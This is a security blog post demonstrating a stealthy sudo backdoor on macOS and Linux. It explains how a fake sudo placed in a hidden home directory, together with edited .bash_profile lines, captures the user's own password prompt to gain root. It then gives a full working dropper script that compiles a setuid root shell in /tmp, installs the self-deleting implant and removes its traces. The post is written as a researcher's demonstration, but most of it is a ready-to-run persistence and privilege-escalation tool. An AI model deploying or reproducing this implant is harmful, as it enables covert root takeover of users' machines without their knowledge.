Getting root without an exploit - stealth sudo backdoor
19 Oct 2017 21:59 | macOS | security | exploits
I’ve published several root privilege escalation bugs this year in various Mac applications. I decided to see how difficult it would be to escalate privileges on a machine without actually using an exploit. Having access to a local account with sudo rights gives us an enormous attack surface for escalation.
Many of the dotfiles, which are nearly always user-writable for obvious reasons, can be manipulated to divert the user’s path and replace system utilities like sudo.
This is a demo of how easy it is to drop a sudo backdoor into a user’s home directory with as little chance of them noticing as possible. We have a dropper bash script that installs the implant. The implant creates the following directory in the user’s home:
~/.,
and in here we put a script named “sudo” which is our backdoor. Then we append two lines to the user’s .bash_profile like this:
PATH=~/.,:$PATH #374686348234823 set +h #374686348234823
This is to redirect the PATH environment variable to look in our new ,. directory first to find sudo. We call “set +h” to disable hashing, otherwise if the user executed our script, after it deletes itself they would get a “No such file or directory” error the next time they tried to use sudo and would know something’s up.
The long commented numbers at the end of the lines allow us to reliably remove them from the file later in our cleanup process without affecting any other similar lines.
We also drop a backdoor shell binary into /tmp/., which elevates to root and spawns a bash shell. We could compile this later - eg at the point of our backdoor script being executed so it’s not hanging around in the /tmp/ directory, but this would introduce a slightly noticeable delay when the user runs sudo and generally most users have so much junk in their /tmp/ directory that they’re unlikely to notice it.
Now we wait for the user to open a new ssh connection (to load the new .bash_profile). The next time they execute sudo, the backdoor script is executed and first checks to see if it’s root, if not then it appends itself in the chain of sudo arguments and re-executes itself, so if the user executed:
$ sudo ls -la
this would invoke the backdoor script, and it would then invoke:
$ /usr/bin/sudo ~/.,/sudo ls -la
The user would then see a normal sudo password prompt and not suspect anything. They authenticate, and this returns execution back to the start of our backdoor script which is now running as root. This time it determines that it is running as root, so it chown’s the /tmp/., shell binary to root and sets it mode 4755. It then removes the ~/., directory and the appended lines from the user’s .bash_profile to hide the fact that sudo was ever remapped. Because the user’s shell was launched with “set +h” in the .bash_profile, subsequent calls to sudo will go straight to /usr/bin/sudo without causing any “No such file” errors looking for the cached path.
The cool part of this is that we don’t have to wait for the user to exit their sudo bash session before our backdoor binary is chmod’d.
And now we’ve got a setuid binary we can simply execute to pop a root shell:
$ /tmp/.,
uid=0(root) gid=0(root) groups=0(root)
115139276c0243f7314b87cd2c60e8344aa29ce56aad6f117a251737bb435baf
#!/bin/bash
####################################################
###### self-deleting sudo implant backdoor ######
###### by m4rkw - https://m4.rkw.io/blog.html ######
####################################################
unique_number="374686348234823"
platform="`uname`"
if [ "$USER" == "root" ] ; then
echo "er, lay off the weed. you're already root."
exit 1
fi
cat > /tmp/exp.c <<EOF
#include <unistd.h>
int main()
{
setuid(0);
seteuid(0);
execl("/bin/bash","bash",NULL);
return 0;
}
EOF
gcc -o /tmp/., /tmp/exp.c
if [ $? -ne 0 ] ; then
echo "failed to compile the exploit, gcc isn't working."
rm -f /tmp/exp.c
exit 1
fi
rm -f /tmp/exp.c
mkdir ~/., 2>/dev/null
cat > ~/.,/sudo <<EOF
#!/bin/bash
args=("\$@")
if [ "\`whoami\`" == "root" ] ; then
if [ "$platform" == "Darwin" ] ; then
/usr/bin/sudo chown root:wheel /tmp/.,
else
/usr/bin/sudo chown root:root /tmp/.,
fi
/usr/bin/sudo chmod 4755 /tmp/.,
if [ "$platform" == "Darwin" ] ; then
rm -rf /Users/$USER/.,
sed -i '' '/^PATH=~\/\.,:\$PATH #$unique_number\$/d' /Users/$USER/.bash_profile
sed -i '' '/^set +h #$unique_number\$/d' /Users/$USER/.bash_profile
else
rm -rf /home/$USER/.,
sed -i '/^PATH=~\/\.,:\$PATH #$unique_number\$/d' /home/$USER/.bash_profile
sed -i '/^set +h #$unique_number\$/d' /home/$USER/.bash_profile
fi
/usr/bin/sudo "\${args[@]}"
else
/usr/bin/sudo ~/.,/sudo "\${args[@]}"
fi
EOF
chmod 755 ~/.,/sudo
echo "PATH=~/.,:\$PATH #$unique_number" >> ~/.bash_profile
echo "set +h #$unique_number" >> ~/.bash_profile
echo "implant installed."
